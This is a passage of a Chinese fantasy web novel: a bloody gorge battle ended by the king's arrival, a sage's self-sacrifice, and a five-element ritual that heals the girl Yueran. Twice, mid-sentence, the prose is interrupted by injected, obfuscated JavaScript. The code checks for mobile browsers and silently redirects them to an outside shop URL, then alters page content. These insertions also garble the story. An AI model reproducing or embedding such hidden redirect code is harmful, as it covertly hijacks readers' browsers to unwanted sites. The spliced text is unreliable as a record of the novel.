拓石跪在刀下,唇角还挂着血,却笑了。那笑容很淡,和他今早在驿站里说“不要一个人扛着”时的表情一模一样。他没有犹豫。 “保护好跃然。”他的声音沙哑,但很稳,“不用管我。” 拓宏看着他,看了很久。然后他也笑了——不是往日的冷嘲,不是惯常的戏谑,是一种把压了很久的东西终于放下的坦然。 “你听到了。”他转向元炀崎,语气平淡得像在陈述一桩事实,“我王兄让我保护好跃然。他是熙坤王,他说了算。” 他顿了顿,低头看着拓石,声音沉下去,“你让我护跃然,你且保证先护得了自己!有句话,我今日说与你,只一次:我不领情要你让的东西——从前不屑,今后更不屑。所以,宇文拓石,今日,你需得自己想办法活下来。昔日你欠我的账,还没算完!” 拓石抬眸越过层层甲士望向拓宏,忽而粲然一笑,没有说话,只是微微点了点头,然后闭上了眼睛。不是放弃——是把命交给了自己。 拓宏转眸望向元炀崎,慢慢举起右手,五指收拢。 身后二百梧营铁卫的盾牌同时落地,发出轰然一声巨响。盾兵居前,矛兵居次,骑射续后,三排阵型在峡谷窄道中一字排开,如一道暗红的钢墙。 “放箭!” 第一波箭雨倾泻而下。瓦鲁武士挥刀招架,十几人迅速缩成半圆将元炀崎和拓石罩在当中。箭矢撞击盾牌的声响密如骤雨,被围在正中的梧卫残兵趁机向前突进——不是为了歼敌,是为了在死之前多往前冲一步,离拓石更近一步。 元炀崎的纸扇在掌心轻敲了两下。“近战。” 沙色劲装的瓦鲁武士同时弃守为攻。他们不与盾墙正面对撞,而是如沙蛇般从两侧山壁攀援而上,从头顶和侧翼切入梧营阵列。 一时间,峡谷中兵刃斩入骨肉的闷响、濒死的嘶吼、战马受惊的嘶鸣混成一片。沙色与玄甲绞在一起,每一次兵刃闪过都带起一蓬血雾。被斩断的手臂还握着刀,落地时手指仍在抽搐。 倒下的尸体被后来者踩进泥里,分不清是瓦鲁的还是曦宇的。地上的血已经不再是红色——太多层血叠在一起,变成一种近乎黑的暗紫。空气里全是铁锈味,浓得让人睁不开眼。 跃然在车帘后看着这一切。她看见一个梧卫被三柄刀同时捅穿,倒下时仍用身体压住了拓石的方向,替后面的人多挡了一步。 她看见另一个梧卫断了左臂,血从断口喷涌而出,他却用右手单刀继续往前冲,直到第二刀劈开他的胸膛,才终于跪倒。 她看见第三个、第四个、第五个——他们都朝着同一个方向倒下的。拓石跪在刀下,浑身是血,分不清是自己的还是别人的。他看着自己的兵一个接一个倒在他面前,牙齿咬得嘴唇渗出血来,却什么都做不了。 没有人退。 箭雨已经停了——两军绞在一起,弓手无法射击。瓦鲁武士的人数劣势被地形和悍勇弥补,梧营铁卫的阵型优势在贴身肉搏中被削弱。双方在峡谷窄道中反复拉锯,每一次推进都以尸体铺路。 拓宏骑在马上,背挺得笔直。每一次下令,他的声音都从牙缝里挤出来——嘴唇在发白,额角的冷汗顺着鬓角滑进领口,但他没有退。他的梧营铁卫也没有退。每一排盾兵倒下,后排便顶上。最前排的盾墙上已经插满了瓦鲁的弯刀和箭矢,盾兵们用肩膀抵着盾牌,双脚在碎石地面上犁出深深的沟痕。他们不是在进攻——他们是在用身体筑墙,不让瓦鲁人再往前一步。 因为身后是主上。因为主上没有退。因为主上说放箭,他们就放箭;主上说顶住,他们就顶住。 一个梧卫倒下去时,嘴里还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632079|206408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在喊:“护——!”后面的字没来得及出口,但他的手还指着前方。拓宏垂在身侧的那只手攥紧了缰绳,指节捏得发白。他的手抬不起来,他用剑柄托着右肘,再次将右臂硬架在半空中。 跃然拨开青儿的手。 "姑娘!"青儿的声音已经带哭腔。 跃然没有回头。她掀开车帘,走了出去。她穿过停在原地的车队,穿过满地未干的血迹。 水绿的长裙在血泊中拖过,裙摆上几尾红鲤很快被染成暗红,像是从碧波中游进了血海。她没有看拓宏,没有看任何人,只是穿过那些还在拼杀的士兵,穿过堆积如山的尸体,径直走到两军对峙的中间地带。 站定的那一刻,一股暖流从心口升起。那是紫晶玄经在经脉中苏醒——不是昨夜那种撕裂的剧痛,是一种温热的、被什么唤醒的力量。像是体内有什么东西终于找到了方向,不再冲撞,而是沿着脉络缓缓铺开。她低头,看见自己的指尖泛着一层极淡的紫光。 “元炀崎。”她抬起头,紫眸中有紫光流转,但没有恐惧,没有愤怒,只有一种被风吹过很多次的平静,“我跟你走。你放了他们。” 每一次,都有人在替她挡。每一次,她都是躲在后面的那个人。 拓宏的手僵在了半空中。 “跃然!”拓云在萧潜怀里拼命挣扎,声音已经哭哑了,“你别去——你别去!” 跃然没有回头。她只是看着元炀崎,等着他的回答。 元炀崎低头看着这个只及他胸口的小女孩。她站在刀光剑影中,站在遍地尸骸与血痕之间,站在正午的烈日下,说要跟他走。不是被逼的——是她自己走出来的。 他看了很久。那双隼黑的眼眸中,玩味一层层褪去,露出底下那层被压抑了很久的东西。 “你倒是不怕我。”他把玩着手中的纸扇。 “怕你?哭着求饶,你就会放人吗?”跃然的声音很轻,语气却稳得不像一个十岁的孩子,“那你找错人了。我不怕你——我只是觉得你看起来很累。” 元炀崎的手指在纸扇上停了一瞬。 很累。从来没有人对他说过这两个字。在瓦鲁深宫,所有人都要他去争、去夺、去证明自己。他的倦意被看作深不可测,他的沉默被当作阴险算计。只有这个看起来不过十来岁的女孩,站在他面前说:你看起来很累。而她说的不是“你是坏人”——她是在和他谈判。用她自己,换那三个人的命。 他忽然觉得——眼前这殷红的厮杀,很无趣。 他收起纸扇,哈哈笑道:"都说曦宇国有个紫眸妖精,会魅惑人心——我本来不信的。"他低头看着跃然,咧嘴笑了一下,“现在有点信了。” 他话锋一转,声音骤然冷了八度,“行啊,你过来跟我走,我就放人。不过——我带来的这些人也不能白死。你们这边,每人都留一条胳膊。公平吧?” “你做梦!”拓云的声音,嘶哑而愤怒。 拓宏已然再次举起了手。 “那就……” 元炀崎话未说完,一支白羽箭破空而至,擦着他的耳廓钉入身后的山壁。箭尾白羽犹在震颤。几根断发从元炀崎耳边飘落。 满谷死寂。 “炀崎,闹够了吗?” 那个声音从峡谷转角处传来。洪厚徐缓,没有暴怒,没有疾言厉色,但每一个字都沉稳得像山岳落地。 二十余匹枣红骏马扬尘而出。为首一人,紫红锦袍,腰悬墨玉,发鬓灰白却脊背挺直如松。他骑在马上,速度不快——是那种不需要快的沉稳。他身旁一个青须连鬓的中年人手持长弓,弓弦犹在轻颤。刚才那一箭,正是他所发。 看清来人,满谷曦宇兵马齐齐跪倒。盾兵放下盾牌,矛兵收起长矛,骑射翻身下马。甲胄与兵器碰撞的声响在山壁间回荡,然后被一片死寂吞没。 “吾王清睿,万寿无疆!” 元炀崎抬头看着马背上的那个人。他握着纸扇的手指节不自觉地收紧了一分。宇文轩。那个据说重病了三年、已经咳血不起的曦宇国君。他看起来比传闻中精神得多。那双温润的眼睛此刻正看着他,带着一股沉郁的、让人喘不过气的威严。 “元炀崎。”宇文轩开口了,“人命,怎可儿戏!”那语气不是质问,而是不容置疑的陈述。 元炀崎愣了一下。他从小到大听过无数人对他说话——母后的冷漠、父王的虚伪、朝臣的谄媚、敌人的咒骂。但从来没有一个人用这种语气对他说过话。像是在训一个不懂事的孩子。 宇文轩策马上前两步,居高临下地看着他。“你父亲当年与朕争位,手段用尽,朕没有杀他。他流落瓦鲁,娶了你母亲,生下你——这些,朕都知道。你是朕的侄儿,你体内流着宇文家的血。但这不代表你可以在朕的国土上放肆。” 他顿了顿,目光扫过满地的尸骸,扫过跪在地上的拓石,扫过马背上那个背挺得笔直却手无力垂下的拓宏,最后落在那个站在刀光剑影中的水绿身影上。 “你今日拦的是朕的儿子,劫的是朕的储君,伤的是朕的将士。”他的声音始终平缓,但每一个字都像一块巨石压在元炀崎胸口,“朕不管你父王如何教你——在朕面前,轮不到你放肆。” 元炀崎的纸扇在掌心停住了。他不是没有反抗之力——他的内力还在,他腰间那枚赤红色晶石还在幽幽闪烁。但他没有动。因为他很清楚一件事:宇文轩身后那二十余骑随护不是普通的护卫,那个青须大汉的箭还在对准他,而宇文轩本人的武功据说三十年前就是曦宇第一。他不是对手。 更重要的是——他忽然意识到,宇文轩从头到尾一直在暗处看着。看着他一步一步走进这个局里,直到那个女孩站出来的那一刻,他才现身。不是为了救她,只是他不会放小姑娘跟任何人走。 元炀崎忽然哈哈大笑起来。 "好——好!"他笑着摇头,"伯父,小侄这趟没白来。至少知道了一件事——你没有病。"他轻蔑地看了宇文轩一眼,“你比我父王会藏。我父王把人关进地牢,你把人放在战场上。关进地牢的还知道喊疼,放在战场上的——连喊都不会喊。” 他翻身上马,动作利落得不像一个刚从刀下脱身的人。然后他回过头,看向站在血泊中那个水绿衣衫的瘦小身影。 "小妹妹,"他歪着头看她,语气散漫,“你叫跃然?下次见面,我带你去看瓦鲁的沙漠——比你这峡谷好看多了。” 拓石被随护从几具梧卫尸体下扶出来,浑身是血,分不清是别人的还是自己的。他半靠在随护身上,目光越过人群,落在那个站在血泊中的水绿身影上。他的嘴唇动了一下——像是想喊她快回去,但没喊出声。 宇文轩没有下令追。他只是看着元炀崎的背影消失在山壁转角处,然后驳马转身,目光落在跃然身上。 她站在那里,水绿的长裙上溅了几点血渍。她的紫眸在日光下澄澈如水,没有因为方才那场厮杀而惊惶,也没有因为他的话而退缩。她只是抬起头,看着他。 宇文轩看了很久。 然后他说:“不管你是谁,我的儿子们认了你,你便是我宇文家的孩子,随朕回家。”他声音很轻,慈父般温柔。 然后他仰起头,阖上眼。花白的鬓角在日光里像落了一层霜,孤寂而苍凉。 阳光从他花白的鬓角滑落,落在紫红的锦袍上,落在腰间的墨玉上,落在身后跪伏一地的将士身上。 远处,莲京的城墙已在望。这座千年古都的城门正缓缓打开,迎接它的王子们归来——连同他们的伤口,他们的沉默,和他们不知如何说出口的委屈。 车队重新出发。拓石被抬进马车,梧安正在为他重新处理伤口;拓云守在旁边,眼泪擦了又流,却一声不吭地帮着递药递绷带。跃然坐在马车中,从车帘缝隙中望着前方拓宏的背影。 他没有坐车。他独自策马走在车队的最前方,背挺得笔直,没有回头看一眼。他的手垂在身侧,袖口上还留着方才举手下令时被汗水浸湿的痕迹。 她没有喊他。有些路,他必须自己走完。 16. 五星现世 死而不亡者寿。 ——老子《道德经》第三十三章 荒山古刹,残月如钩。 煦审年推门而入时,智叟正盘膝坐在蒲团上。面前一盏清茶早已凉透,老人似乎并不在意,只是微微侧了侧头,像在听门外夜风穿过枯枝的声响。 “回来了。” 煦审年在他对面盘膝坐下。一身玄色劲装还沾着夜露,指甲乌青未褪,唇边一道紫黑纹路在月光下隐约可见。那是蛊毒发作的痕迹。但他进门时脚步极稳,像那些在经脉里翻涌的痛只是皮肉上多了一层灰,拍掉便好。 “他让我来杀你。” 智叟睁开眼。那是一双极澄澈的眼睛,与他胞弟癫叟的浑浊隳突截然不同。 他看着煦审年,目光从上到下,从乌青的指甲到唇边的纹路,最后落在那双血丝未退却依旧沉静的眼睛上。 “你——何必!” “蛊虫入体便被乙木元神裹住了,进不了心脉。无碍,只是皮肉之苦。” 智叟沉默片刻,提起茶炉上尚有余温的铜壶,给煦审年续了一杯。茶水斟得很稳,没有一滴溅出。老人将茶杯推到他面前,动作很轻。 “当年在华夏边境,想要骗你主动剖心取元的,便是他。如今你倒愿意认他驱使。” 煦审年端起茶杯一饮而尽,入喉微苦。“师父,您知我不会。他以为蛊毒能控我,让他以为便是。” 他放下茶杯,看着智叟,“师父,您只需假死,让我带您的印信回去复命即可。悦然她命悬一线,我但求救她之法,亦可明了癫叟逡巡在蔚魄的目的。” 智叟端起自己面前那杯早已凉透的茶,慢慢饮了一口。 “我与他本是双生。千年前应劫之时,我将仙根缠在他的命脉上替他续命,从此他便能从我的生机中汲取力量。这千年里我杀不死他——不是法力不够,是命脉相连。只要我还活着,他就死不了。” 他将茶杯放回桌面,发出一声极轻的脆响,“所以,需得假戏真做。只有我彻底消散,他才会相信。只有我斩断命脉,才能为他布下死局。” 煦审年的手指在膝盖上微微蜷紧。他刚要开口劝止,却见智叟周身已然青光大作,一枚青色光球由虚化实,凝成樱桃大小的一枚青珠。 “这枚青珠乃我毕生修为所化的仙元,你带给他,他自会信你。” 他抬起眼,看着煦审年。那双澄澈的眼睛里,此刻亮得惊人。 煦审年接过空中悬浮的那枚青珠,月光落在上面,青光明灭,像一颗还在跳动的心脏。 “二十多年前,老朽受天帝密令下界,守护紫宸殿下第十世凡胎。她本该在曦宇出生,在我护持下安然成长,觉醒神格,回归天位。若此世不能归位,她便会魂飞魄散,永寂虚无。”智叟的声音在青光中虚浮不定,“但老朽赶到曦宇时,殿下魂魄已被送往异世。某在人间寻了数载,追到华夏时,她已自尽。而你——正被癫叟诓骗,剖开胸膛献祭,再晚一瞬,便无缘归位了。” 煦审年沉默。那道从肋骨延伸到腰侧的旧疤,此刻似乎在隐隐发烫。 他记得那一夜的绝望——癫叟说能救悦然,他便信了。躺在郊外废弃的厂房里,看着那把短刀划开自己的皮肤,心里只有一个念头:如果这是救她的代价,拿去便是。 后来在智叟的竹舍里醒来,伤口已被包扎好,枕边放着一碗还温热的药。智叟没有问他值不值得,只是每日煎药、换药,教他引乙木之气疗伤。伤好之后便随智叟回到曦宇。 两个世界的时间流速并不相同——在曦宇修行数年,那边不过须臾;但当他再次感应到悦然的气息时,已是曦宇的二十年后。时空的错位让他等了二十年,也让他在浊泉边救起她时,她已经不是当年那个会钻进他怀里说悄悄话的女孩了。 智叟说,“不曾想,你的乙木元神在濒死之际彻底觉醒,那股生生不息、连蛊毒都能反噬的纯粹木气,让老朽终于认出——你是苍野耔煦,青木元尊,五神之首。” “耔煦尊神。”模糊的青光唤了这个名字,然后抬起眼,“老朽有一事不明。尊神的神格既已觉醒,为何不先回归天位,再以尊神之身护她周全?” 煦审年没有立刻回答。他转头看向窗外,残月西斜,夜风穿过枯枝发出细碎的呜咽。过了很久,他才开口,声音很轻。 “她走到今天这一步,吃的所有苦,皆因我当年傲慢嗔念而来。”他回过头,看着智叟残存的光晕,唇角浮起一丝极淡的苦笑。 那一笑,是跨越千万年的坦然的笃定,“她若不能归位,我回天界做什么?若她此世觉醒失败,灰飞烟灭——” 他顿了顿,“我陪她一起寂灭便是。” 智叟的青光一闪,而后在弥散前留下最后的话: “老朽受命守护殿下,如今二十余载未成,已是失职。今日能以残躯换得殿下归位之机,死得其所。”青光闪了闪,竟有几分笑意,“尊神,替老朽护好她。” 话音落,青光像一个影子被晨光照到那样,一层一层地淡下去。煦审年双手擎着青珠,缓缓跪下。 珠体温热,像刚从身体里取出的体温。他没有说“谢”。他只是跪在那里,等那层青光完全散尽,等蒲团上只剩一盏凉透的茶。然后他起身,将青珠收好,转身推门。走出古刹时,天色已微明。 一处隐蔽的洞府中,烛火幽暗。 煦审年单膝跪地,双手呈上那枚青珠。癫叟盘坐在石台之上,一双浑浊的眼珠死死盯着那枚珠子,干枯的手指猛地攥紧,指节因兴奋而微微发颤。 “死了?当真死了?”他一把夺过青珠,捧到眼前反复端详。青珠中隐约透出与他同源的仙脉气息,那股血脉相连的感应是任何幻术都无法伪造的。他把珠子贴在额前,闭上眼,深深地吸了一口气,枯槁的脸上露出一种近乎陶醉的狂喜,在幽暗的烛火映照下说不出的诡异。 “千年了!你我兄弟缠斗千年,终究还是我赢了!”他将青珠攥在掌心,低头看向跪在面前的煦审年,眼中闪过一丝阴鸷而得意的光。他这个弟子,服了蛊毒,杀了智叟,已经彻底落在他的掌心里。“好。你做得很好。为师没有看错你。” 就在他得意忘形的那一刻,掌心忽然传来一阵异样的温热。他低下头,看见那枚青珠正在微微发光——不是刺目的亮,是像一盏即将熄灭的灯最后一次拨亮灯芯的那种柔和的、温润的光。光芒从他指缝间渗出,一缕一缕,越来越亮,却越来越柔。他想甩开它,手指却像被粘住了一样松不开。 青珠在他掌心缓缓消融,像一块冰在春日的暖阳下悄无声息地化成水,渗透进他的皮肤。他感觉到一股极淡的暖流从掌心涌入,沿着经脉缓缓上行,沉入他浊气翻涌的丹田深处。 然后,他听见了一声叹息。 那声叹息极轻、极淡,像是从很远很远的地方传来,又像是从他自己的身体深处升起。不是愤怒,不是诅咒,不是怨恨——只是一种疲惫的、放下了所有执念的、终于可以休息了的叹息。那是智叟的声音。他哥哥的声音。 癫叟浑身一震,猛地攥紧拳头,低头看自己的掌心。青珠已经完全消融了,掌心里空空如也,连一丝痕迹都没有留下。他用力握了握拳,感觉一切如常——力量还在,浊气还在,没有什么不对。 “故弄玄虚。”他冷哼一声,甩了甩手。 他永远不会知道,从这一刻起,他哥哥的最后一道封印已经种在了他的体内。 癫叟从石台上缓缓走下,绕着煦审年踱了一圈,像在欣赏一件完美的作品。他停在煦审年身后,拍了拍他的肩,语气忽然变得轻快起来,像在说一桩无关紧要的事。 “你那丫头,紫蓝二力相冲,命不久矣。不过嘛——为师倒是知道一个法子。” 煦审年低垂的眼睫微微一动。 “五行齐聚——金、木、水、火、土,五道同源神力同时注入她的心脉,以五行相生之理调和阴阳,便可化解。”癫叟把玩着自己的手指,语气漫不经心。他并不知道,就在他说出这句话时,丹田深处那道刚刚种下的封印微微闪了一下。 “不过嘛,光凑足五行还不够。五行生克若无一个已觉醒仙格之人在阵眼中引导,便是一盘散沙,非但救不了人,反而会让她经脉寸断而死。” 他低下头,凑近煦审年的耳边,声音带着几分幸灾乐祸:“这世上,已觉醒仙格的人——除了我那个死了的兄长,恐怕也没几个了。可惜,可惜啊。” 煦审年保持着单膝跪地的姿势,一动不动。垂着眼睛,面上没有任何表情,但垂在身侧的手指几不可察地微微蜷了一下。癫叟没有看见。他笑着直起身,挥了挥手。“行了,去吧。替我看好那个丫头——她活着,比死了有用。” 煦审年起身,倒退三步,转身走出洞府。踏出洞口的那一刻,山风迎面扑来,吹得衣袍猎猎作响。他抬起头,望向莲京的方向,眼底那片深海终于有了一丝极淡的微澜。 他收回目光,消失在晨曦中。 莲京官道,车队疾行。 跃然回到马车上,就觉得浑身乏力,不一会就睡着了。从颠簸中醒来时,她已经痛到发不出声音。又是那种经脉寸断的撕裂感,两股力量如同两把利刃,在皮肤下剐着她的血肉。 拓宏是第一个发现不对的。他听见跃然的呼吸变得短促而混乱,睁开眼时,她已经从软榻上滑落。那双原本已经沉淀为墨色的瞳孔中,紫蓝交缠如风暴。 “跃然!” 他接住她时,她的身体冷热交加,时而冰凉透骨,时而滚烫灼人。她像在梦魇中醒不过来,但全身都在颤抖抽搐。 拓宏叫停队伍,一边用内力帮她缓解,一边大声呼喊梧安。 拓石和拓云闻讯赶来时,梧安已经把了两次脉。老医者的眉头越锁越紧,最后放下跃然的手腕,声音沉得像一块石头。 “她体内的两道灵力在抵死对抗,”他顿了顿,“我之前配的药已然无效,主上用内力帮她护体也只能暂续片刻。此时此刻,老夫实在无能为力了。为今之计——只有听天由命了……” “不要!不要死!跃然!答应云哥哥,快点好起来!”拓云泪如雨下,声嘶力竭扑向跃然,被拓宏一臂隔开。缓步而来?宇文轩,看着儿子们失态的样子,皱起了眉头。 “听天由命大可不必。” 一道声音从门外传来,不高,却很稳,像一颗石子落入静水。众人回头,门口站着一个人。一身玄色劲装,衣袍上沾着风尘与夜露,像赶了极远的路。没有人看见他是什么时候来的,门外的梧卫没有任何动静,院中的灯火也没有惊动。他就那样站在门口,月光从身后铺进来,在地上拉出一道长长的影子。 他走到宇文轩面前,单膝跪倒。“草民煦审年,叩见轩王陛下。” 拓云惊呼出声:“大侠!”他想往前冲,被拓石一把拉住。 拓石的手指扣在拓云肩上,力道很重。 他没有忘记这个人——那个在浊泉边救起跃然、又以举国生灵威胁他护送跃然去象州的人。他至今不知此人底细,只知他武功极高、来历不明、对跃然有着一种不容置喙的执念。 此刻他跪在父王面前,自称“草民”,来得无声无息,连门外的梧卫都未曾察觉。这份功力,绝不是一个寻常修行者能有的。 “煦审年,智叟终于肯放你下山了?”宇文轩倒是毫不意外,朗声一笑,抬手示意他起身。 “师父说审年修行已满,日后可追随陛下左右。”宇文轩眉头一挑,随即开怀大笑。 “如何不听天由命?” 拓宏盯着煦审年的眼睛沉声问道。 “为今之计,唯有五行齐聚——金木水火土,五道同源神力同时注入心脉,以五行相生之理调和阴阳,缺一不可。”煦审年望向拓宏,一字一句道。 “五行齐聚?”拓石开口,声音依旧沉稳,但按在桌案上的手指节已经捏得发白,“何为五行?从何处寻来?” “不必寻了。” 梧安也目不转睛地望着煦审年。 宇文轩转向梧安,语气中颇有几分自得:“安先生,他正是二十年前那个土属灵星映照之人。智叟唯一的弟子,煦审年。”他微笑着看向眼前的年轻人,眼中却有一丝极淡的怅然一闪而过。乱世的棋子,已经一颗一颗地落在了棋盘上。 煦审年起身,目光越过宇文轩,落在榻上昏迷不醒的跃然身上。 他走到榻边,单手按上跃然脉门,片刻后抬起眼,扫过屋内众人。 煦审年看向拓石:“熙坤王殿下,劳烦问一句——殿下的生辰,是否在酉时?” 拓石眉心微拧。他的生辰并非秘密,但由一个素不相识的人如此笃定地说出来,还是让他心生警惕。“是。” “酉时属金。”煦审年转向拓云,“三殿下的生辰,应在亥时。” 拓云愣住:“你怎么知道?” 煦审年没有接他的话,目光最后落在拓宏身上。拓宏站在榻边,外袍还裹在跃然身上,自己的中衣袖子沾着她额上渗出的冷汗。他没有问煦审年为什么知道,只是用那双寒潭般的眼睛看着他,等他说完。 “熙远王殿下的生辰,在辰时。辰时属土。” 拓宏沉默了一瞬。“是。” “还有你,还要藏着吗?”煦审年目光扫向附近最高最粗壮的一棵树。 元炀崎尬笑一声,跳下树来,站在最远处,扇子敲在手心,一脸看热闹的神情:“猜猜我是何时?” “瓦鲁国储君的生辰,若在下没有记错,应在午时。午时属火。” 元炀崎的扇子停了一瞬。“你连本王的生辰都知道?智叟的弟子,果然有点意思。” “金、水、火、土已备。在下不才——生辰在卯时,属木。”煦审年收回目光,“五行齐聚。” 元炀崎把扇子往袖中一收,脸上挂着几分被戳破的扫兴,又带着几分被需要的得意。 “本王就来看个热闹——你们曦宇人请人帮忙,都是这么不客气的?” 宇文轩在宫人搀扶下立于门口,咳了一声,声音不大,却让元炀崎的扇子停了一瞬。 他的目光扫过四个年轻人,眼底闪过一丝暗色,旋即隐去。 “今日你助跃然度过此劫,朕便准你母后派来两个贴身护卫陪你,准你在莲京之内自由行走。” 元炀崎盯着宇文轩看了两息。这老家伙在笑,笑容里没有威胁,只有一种笃定——笃定他会答应。他把扇子往袖中一收。 “行。就当还她一条命。”他走到离榻最远的地方站定,不再看任何人。 五个人围在跃然榻边。煦审年将跃然抱下床,放在厅中间的蒲团上。拓石居西,酉时金命,金德凛冽如刀锋出鞘;元炀崎居南,午时火命,火德炽烈却克制如炉火暖身;拓云居北,亥时水命,水德温润柔和似清泉涤尘;拓宏居中,辰时土命,土德沉稳厚重如大地托底;煦审年守东,卯时木命,木德为引——他已觉醒的神格在这一刻无声展开,将四道尚未觉醒的神力纳入既定的五行循环。 四人在煦审年引导下摆出结印手势,默念净心口诀。起初只是微光。五道不同色泽的灵力从五人掌心缓缓溢出,如晨雾,如轻纱,在跃然身体上方袅袅交缠。 拓石的金光清冽如剑芒初淬,元炀崎的赤焰炽烈而不灼人,拓云的碧蓝澄澈如深潭映月,拓宏的赭黄沉厚如沃土新翻,煦审年的青芒莹润如春林初雨。五色流转,并不相融,只是各自循着古老的韵律盘绕、试探、靠近。 煦审年闭目。他将自己那缕青芒缓缓沉入最中心,如一粒种子落入泥土。其他四道光芒像被什么牵引着,不再游离,开始沿着同一个方向旋转——先是极慢的,然后越来越快,越来越亮,五色在旋转中渐渐模糊了边界,融成一片温润的、近乎乳白的柔光。 金生水,水生木,木生火,火生土,土生金。五行相生的圆环缓缓运转,柔光化作五瓣,一瓣一瓣地合拢,将跃然包裹其中。 远远望去,她像沉在一朵半透明的莲花中央,五瓣花叶轻轻翕动,每一次翕动都有一缕不同颜色的光从她眉心渗入,又从她指尖逸出。 空气里弥漫着极淡的清香——不是花香,不是药香,是五种灵力被调和到最精微处时,自然生发出的、若有若无的甘冽。 跃然觉得自己像沉在一片很深很深的水底。四周很暗,偶尔有光从水面上透下来,一闪便碎了。 有人在叫她的名字——很远,像隔着一整片海。她听不清那是谁,只知道那声音很急,急得像是要哭了。 她想起拓云哭起来总是很大声,想起拓石从来不出声只是默默站在门口,想起拓宏不会哭,他的手垂在身侧,攥得指节发白。 最后,她想起沈煦。 她还没来得及告诉他:前世今生,我黎跃然不怨你了,不恨你了,放过你了。 寒冷,彻骨锥心的寒冷。她只有承受的份,从来都是。唯一一次的任性逃脱,那次自杀却换来了诡异的复生。她苦涩地想笑,却不知道有没有扯动嘴角。 意识混沌中,周身忽然暖了。不是从外面灌进来的暖,是从骨缝里、从经脉深处、从每一个被冰封的角落缓缓升起的暖。 五道不同质地的光不知从何处涌入,一道凛冽如霜刃却并不伤人,一道炽烈如烈焰却并不灼烫,一道清凉如溪流却并不刺骨,一道沉稳如大地却并不沉重,一道柔软如春芽却并不孱弱。 五道光在她体内缓缓流转,像五条找到了各自河道的溪流,不急不缓地冲刷着她被紫蓝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632080|206408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二力撕裂的经脉。那些被撕开的口子,在五色柔光的浸润下,一寸一寸地愈合,像春天的泥土在细雨中自己合拢那样,自然而然地,了无痕迹。 她忽然觉得很安宁。 是一种从未经历过的安宁。 像是被什么东西稳稳托住了——像小时候冬天生病,妈妈把她裹进被窝里,她迷迷糊糊中感觉有人用手背贴着她的额头,那只手很暖,很稳,让她不怕了。 她贪心地想睁开眼,想伸手去碰一碰那光。 然后她真的睁开了眼。 她正被一朵五瓣花座托举着,花瓣由五种光凝成——金、青、蓝、红、黄,五色并不刺目,只是柔柔地亮着,像晨曦透过薄雾的那种亮。五色流转中,花瓣渐渐变薄、变淡,直到如雾气般消散。五片花瓣散去后,她看见五个少年围坐在她周围,像是同时睁开了眼。 最先开口的是拓云。他已经扑上来抓住她的手,那张脸上还挂着泪痕,声音又急又哑:“跃然!你醒了!你终于醒了!”他攥她的手攥得太用力,像怕她再昏过去似的,攥得她指节发疼。她没有抽开。 最先将跃然紧紧抱入怀中的是拓宏。 他没有说话,只是把她揽过来,一手拍抚着她的背。他的手臂还在微微发抖——不是因为无力,是因为在太短的时间里经历了太多次差点失去。 但他抱得不重,像怕弄碎什么,手掌落在她背上时轻得像在碰一件刚从火里取出来的瓷器。跃然被他抱着,闻到他衣襟上皂角的味道,混着汗水和炭火的气息。 她没有闭眼。 她没有像被沈煦抱住时那样,习惯性地把脸埋进他的胸口。她只是安静地靠在拓宏肩头,微微侧过脸,目光越过他的肩膀—— 落在墙角那个人身上。 他梳着古人的发髻,面容棱角分明,眉间一道细长的旧疤。他站在最远的地方,背抵着墙,垂着眼睛,像是刻意把自己藏进了阴影里。但她还是看见了他。 沈煦。 她的目光像是被钉住了。一瞬间,所有的声音都退得很远——拓云在说什么,拓石在做什么,她全都听不见、看不见。她只看见那张脸。和前世一模一样的脸。和她记忆中每一个辗转反侧的深夜里浮现的那张脸,一模一样。 她的唇微微张开,又合上。没有声音。她的眼眶忽然泛红,然后迅速蓄满了泪水——满满地蓄在眼眶里,像是怕眨一下眼他就会消失似的。 就在她看过去的那一刻,煦审年也抬起了眼。 他原本垂着眼睛。他不敢看她。他已经等了二十年,这一刻却不敢抬头。但当五色光芒散尽、所有人都松了一口气的那一刻,他还是没有忍住。他抬起眼,正正对上了她的目光。 隔着一个拓宏的肩膀。 他的瞳孔微微一缩。他的唇动了动,像是想喊她的名字,但嘴唇只是无声地翕动了一下,什么音节都没有发出。他的眼眶也在泛红,那双寒潭般的眼睛里,此刻蓄满了二十年的风霜、二十年的等待、二十年来每一次在暗处看着她却不敢靠近的隐忍。 他们就这样望着彼此。隔着几步的距离,隔着一个拓宏的肩膀,隔着一整个前世。谁都没有出声。谁的眼泪都没有掉下来。只是眼眶红着,嘴唇微微抖着,喉咙像被什么东西死死堵住了。 拓宏感觉到了。 他抱着跃然,她的身体一直在发抖。他以为她是冷的,是因为刚从昏迷中醒来。但他忽然感觉到她的目光不是落在他身上,而是越过他的肩头,望向他的身后。 那目光里有太多东西——不是单纯的委屈,不是单纯的思念,是一种复杂到让他胸口发闷的重量。他低下头,看见她眼眶里蓄满了泪,但没有掉。 他顺着她的目光转过头,看见了煦审年。那个人站在墙角,背抵着墙,眼眶同样泛红,嘴唇同样微微颤抖。两个人就这样隔着他,无声地、痛苦地、用尽了全部力气克制着自己。 拓宏明白了什么。 